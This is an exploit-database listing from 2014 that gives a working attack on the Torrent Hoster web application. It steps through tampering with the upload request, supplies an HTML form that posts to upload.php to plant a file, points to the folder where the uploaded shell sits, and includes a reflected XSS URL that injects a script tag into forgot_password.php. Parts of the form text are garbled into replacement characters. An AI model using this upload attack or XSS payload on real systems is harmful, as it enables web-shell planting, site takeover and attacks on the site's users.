Torrent Hoster Remont Upload Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Torrent Hoster Remont Upload Exploit by El-Kahina, using tamper data and XSS

                                                ========================================================================================                  
| # Title    : Torrent Hoster Remont Upload Exploit           
| # Author   : El-Kahina                                                                                                                
| # Home     : www.h4kz.com                                                                              |                                                                                                                               
| # Script   : Powered by Torrent Hoster.     
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       
| # Bug      : Upload    
|                                                                  
======================      Exploit By El-Kahina       =================================
 # Exploit  : 
 
 1 - use tamper data :
 
 http://127.0.0.1/torrenthoster//torrents.php?mode=upload
 
 2- 
    &#60;center&#62;
   Powered by Torrent Hoster
        &#60;br /&#62;
        &#60;form enctype=&#34;multipart/form-data&#34; action=&#34;http://127.0.0.1/torrenthoster/upload.php&#34; id=&#34;form&#34; method=&#34;post&#34; onsubmit=&#34;a=document.getElementById(&#39;form&#39;).style;a.display=&#39;none&#39;;b=document.getElementById(&#39;part2&#39;).style;b.display=&#39;inline&#39;;&#34; style=&#34;display: inline;&#34;&#62;
        &#60;strong&#62;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; &#65533;&#65533;:&#60;/strong&#62; &#60;?php echo $maxfilesize; ?&#62;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#60;br /&#62;
&#60;br&#62;
        &#60;input type=&#34;file&#34; name=&#34;upfile&#34; size=&#34;50&#34; /&#62;&#60;br /&#62;
&#60;input type=&#34;submit&#34; value=&#34;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#34; id=&#34;upload&#34; /&#62;
        &#60;/form&#62;
        &#60;div id=&#34;part2&#34; style=&#34;display: none;&#34;&#62;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; .. &#65533;&#65533; &#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#60;/div&#62;
        &#60;/center&#62;
        
3 - http://127.0.0.1/torrenthoster/torrents/  (to find shell)      
        
4 - Xss:

http://127.0.0.1/torrenthoster/users/forgot_password.php/&#62;&#34;&#62;&#60;ScRiPt&#62;alert(00213771818860)&#60;/ScRiPt&#62;
       
==========================================
Greetz : Exploit-db Team 
all my friend :(Dz-Ghost Team ) 
im indoushka&#39;s sister
------------------------------------------
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1